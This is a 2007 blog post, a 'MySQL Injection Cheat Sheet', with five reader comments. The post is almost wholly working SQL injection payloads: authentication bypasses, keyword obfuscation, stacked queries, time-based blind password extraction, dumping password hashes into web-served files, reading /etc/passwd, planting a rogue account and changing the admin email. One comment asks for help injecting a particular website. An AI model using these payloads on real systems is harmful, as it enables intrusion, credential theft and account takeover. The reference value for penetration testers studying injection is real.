SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"
SHOW TABLES
SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;
SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;
all render TRUE or 1.
SELECT 0.1 <= 2;
SELECT 2 >= 2;
SELECT ISNULL(1/0);
SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);
SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5('abc');
SELECT BENCHMARK(10000000,ENCODE('abc','123'));
this takes around 5 sec on a localhost
SELECT BENCHMARK(1000000,MD5(CHAR(116)))
this takes around 7 sec on a localhost
SELECT BENCHMARK(10000000,MD5(CHAR(116)))
this takes around 70 sec on a localhost
SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
Beware of of the N rounds, add an extra zero and it could stall or crash your
browser!
SELECT COUNT(*) FROM tablename
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE "%"
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = 'username'
SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'
SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))
Note: You must specify a new file, it may not exist! and give the correct
pathname!
SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
SELECT * FROM login WHERE user = CHAR(39,97,39)
SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login
SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login
SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),null) FROM login
is like: (password,1,2) this selects: ‘ab’
is like: (password,1,3) this selects: ‘abc’
is like: (password,1,4) this selects: ‘abcd’
SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login
Possible chars: 0 to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122
INSERT INTO login SET user = 'r00t', pass = 'abc'
load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
'r00t', pass = 'abc'
Then login!
SELECT host,user,password FROM user into outfile '/tmp/passwd';
UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';
(MySQL 4.1.x before 4.1.20 and 5.0.x)
WHERE x = 0xbf27admin 0xbf27
"injection string"
に関する追加情報:
the above chars are Chinese Big5
SELECT * FROM login WHERE user = 'root'
SELECT * FROM login WHERE user = 0x726F6F74
insert into login set user = ‘root’, pass = ‘root’
insert into login set user = 0×726F6F74, pass = 0×726F6F74
SELECT HEX('root');
726F6F74
0x
Jan 18
This entry was posted on Thursday, January 18th, 2007 at 4:15 amand is filed under techwire, code, security, mysql. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
5 Comments MySQL Injection Cheat Sheet
RuFus
January 18th, 2007 at 7:35 am
1I look at the code in front of me, and I am once again reminded of a story.
-Pull up a chair, grab a cup of coco, and enjoy:
OK, so I learned how to write code on an Apple IIe when I was but a pup. I thought I was the warmest turd in the pot after that. I made a cool little text only X-Men fighting game, and passed it out to anyone with a 5 1/4 drive and a little spare time. For the next ten or so years, I took a (well earned) sabbatical from my programming exploits. Then, after becoming fully settled in in my familial unit and establishing myself as an integral pillar of society (*cough cough), I decided that I would change the world by once again utilizing my GOD-GIVEN talents as a programmer, and learn JAVA.
So, basic JAVA class was a joke. A couple of the geeks in the class (present company excluded) even joked about the relevancy of the material being taught — after all, we were all in college now, not elementary! Then, as sequences go, I took the second tier class. The second tier class introduced a concept that was new and stunning (to me) — Object Oriented Programming…
That was the precice moment in which I came to the stunning revalation — that I was retarded.
Apearantly, as I was typing away is blissfull ignorarance on my accursed Apple IIe (running at a blinding speed of 1.023 MHz) there was a group of dissedents that were experimenting with concepts such as encapsulation, classes, and methods… These rebellious scamps were utilizing the devil box, and playing with modified versions of C programming!
Appearantly, C programming lent itself to hundreds of programmers to modify, and create amazing pieces of code. So now people all over the world switched to Object Orientented Programming just because it’s better?!?
Well I have something to say to them:
10 INPUT “What is your name sir or ma’am?: “; U$
20 PRINT U$; “is a waste of space. ”
30 GOTO 20
.
.::v-nessa.net::. » The Basic MySQL Injection
January 25th, 2007 at 12:12 am
2[…] http://www.justinshattuck.com/?p=156&akst_action=share-this […]
sp00k
January 19th, 2008 at 8:24 am
3Any idea if you can re-authenticate locally to a MySQL db as you can with MSSQL? I’m sitting on an injection as a specific mysql user that has limited permissions (i.e. doesn’t have FILE permission - so no writing to outfile).
In MSSQL you re-connect to the local db with a connection string that inlcudes the other user/password. No idea how to do that in MySQL. Must be some type of syntax to query a remote db, but actually point at the local db (?).
monika
February 26th, 2008 at 6:58 am
4there is a website,i know it can be sql injected and i read your paper but i tried everything and nothing worked,can you help me please
Rafael_@_|trits|
June 20th, 2008 at 9:01 am
5This works great as a quick reference while pentesting but it’s totally crypt if you don’t know exactly what you are doing, and I like it that way so only a few guys on the scene really knows how to do something with that.
Btw, what the hell was that “SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()” .. so now your mysql accepting stacked queries?
RSS feed for comments on this post · TrackBack URI
Leave a Reply MySQL Injection Cheat Sheet